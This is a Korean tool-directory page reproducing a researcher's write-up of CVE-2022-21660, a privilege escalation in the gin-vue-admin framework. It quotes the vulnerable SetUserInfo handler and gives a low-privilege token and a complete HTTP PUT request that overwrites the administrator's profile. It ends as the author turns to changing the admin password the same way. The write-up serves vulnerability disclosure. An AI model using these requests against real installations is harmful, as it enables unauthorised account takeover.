Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
도구/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Authentication & AuthorizationVulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

저장소 보기
28194년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gin-Vue-admin 수직 권한 상승 취약점 및 코드 분석 - CVE-2022-21660

1. 서문

여러 고수님들께서 이 프로젝트에 star를 눌러 주시길 환영합니다.```http https://github.com/flipped-aurora/gin-vue-admin/

![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

글을 다 쓰고 나서 CVE를 신청하는 데 다소 번거로움이 있었지만, 다행히도 결국 신청할 수 있었다. github 직원들의 응답이 신속했다.

> ps CVE를 신청하기 전에 이미 CNVD를 제출했다

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 2. 환경 구축

공식 튜토리얼에 따라```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

그런 다음 server 디렉터리로 이동합니다.```bash go generate

![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

그런 다음 server를 직접 실행하면 됩니다

image-20211230134411233

다음은 WEB입니다. web 디렉터리로 들어가서 입력합니다```bash cnpm install || npm install

그런 다음 기다리기만 하면 됩니다

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)



그런 다음 설치가 완료되면 자동으로 웹 페이지가 열립니다

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

그런 다음 초기화를 위해 데이터베이스 정보를 설정합니다

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

설정을 완료한 후 초기화를 클릭한 다음 로그인하면 됩니다

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. 취약점 재현

### SetUserInfo에 수직 권한 상승 취약점 존재

##### 1. SetUserInfo 인터페이스의 권한 상승을 이용한 사용자 개인정보 설정

사용자 관리 페이지로 바로 이동하여 낮은 권한의 사용자 역할을 하나 추가합니다

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

위에서 볼 수 있듯이 관리자 권한은 부여되지 않았습니다. 다음으로 새 계정을 만들고 이 역할 그룹에 배정합니다

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

취약점이 발생하는 위치는 https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go 의 273번째 줄입니다

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

여기서는 전달된 ID에 대한 검증이 수행되지 않습니다. ID는 사용자를 나타내므로, 지정된 ID를 직접 전달하면 해당 사용자의 개인 정보를 수정할 수 있습니다.

image-20211230141732113

먼저 관리자의 X-token을 사용하여 ID가 1인 사용자의 이름을 test1로 수정하는 테스트를 진행합니다. 이후 백엔드에서 관리자의 ID가 test1로 수정된 것을 확인할 수 있습니다.

image-20211230144216099

그다음 방금 생성한 UzJu_HxSecTeam 계정의 Token으로 교체하여 관리자 사용자 이름을 test2로 수정합니다.

먼저 UzJu_HxSecTeam 계정의 개인 정보>비밀번호 변경에서 아무 비밀번호나 변경한 후 계정 Token을 획득합니다.

image-20211230144321622

이 Token은 낮은 권한의 역할에 해당합니다. 일반적으로 낮은 권한의 사용자는 관리자의 어떤 정보도 수정할 수 없습니다.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

Token을 그 자리에 넣고 다음과 같은 JSON 데이터를 구성합니다.```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

우리는 Token을 setUserinfo 인터페이스로 교체합니다```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

그러면 설정이 성공했다는 알림이 표시됩니다.

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

이제 관리자 계정으로 전환하여 test2로 변경되었는지 확인합니다.

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

관리자 사용자가 성공적으로 변경된 것을 확인할 수 있습니다.

##### 2、SetUserInfo 인터페이스 수직 권한 상승으로 관리자 비밀번호 무조건 변경

Debug할 때, 권한을 위반하여 개인 정보를 설정하는 setUserInfo 인터페이스에서는 id, username, nickname,headimg만 설정할 수 있는 것이 아니라 실제로 password 등의 매개변수도 전달할 수 있다는 것을 발견했습니다.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

예를 들어, ID가 1인 사용자의 이름을 admin으로, 닉네임을 슈퍼유저 관리자로 설정하는 요청을 구성합니다.
도구 다운로드